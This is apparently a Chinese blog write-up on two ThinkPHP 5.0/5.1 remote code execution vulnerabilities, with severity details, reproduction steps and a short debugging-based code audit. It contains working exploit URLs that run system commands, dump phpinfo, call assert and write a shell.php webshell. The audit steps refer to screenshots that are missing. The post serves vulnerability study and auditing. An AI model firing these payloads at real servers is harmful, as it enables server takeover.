ThinkPHP 5.x 远程代码执行漏洞-01
简介
代码语言:javascript复制漏洞名称:ThinkPHP 5.0.x-5.1.x 远程代码执行漏洞
影响范围:ThinkPHP v5.0.5 < 5.0.23,ThinkPHP v5.1.0 < 5.1.31
威胁等级:严重
漏洞类型:远程代码执行
由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。
复现
将TP框架的版本替换到对应的范围即可。这里用的是:5.1.22
ThinkPHP框架的版本可用通过:$Think.version 在页码输出
命令执行
代码语言:javascript复制http://域名/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
拿探针
代码语言:javascript复制http://www.tp.com/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
写shell
代码语言:javascript复制http://www.tp.com/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=
这个需要URL编码
审计
借助xdebug对代码进行断点调试。主要是看这个代码在Thinkphp底层是怎么运行的,以及MVC实现的方式,只要掌握这个基本就能审计代码了。我们拿第一个命令执行来举例:主要审计如何执行到命令的 点断点:
跳出去继续:
然后就是无限进入函数内部,直到:
进去:仔细思考传参
ThinkPHP 5.1.x远程代码执行漏洞-02
简介
代码语言:javascript复制漏洞名称:ThinkPHP 5.1.x 远程代码执行漏洞
影响范围:ThinkPHP v5.1.0 < 5.1.31
威胁等级:严重
漏洞类型:远程代码执行
复现
命令执行
代码语言:javascript复制http://域名?s=index/thinkRequest/input&filter=phpinfo&data=1
http://域名?s=index/thinkRequest/input&filter=assert&data=phpinfo();
命令执行2
代码语言:javascript复制http://域名/?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc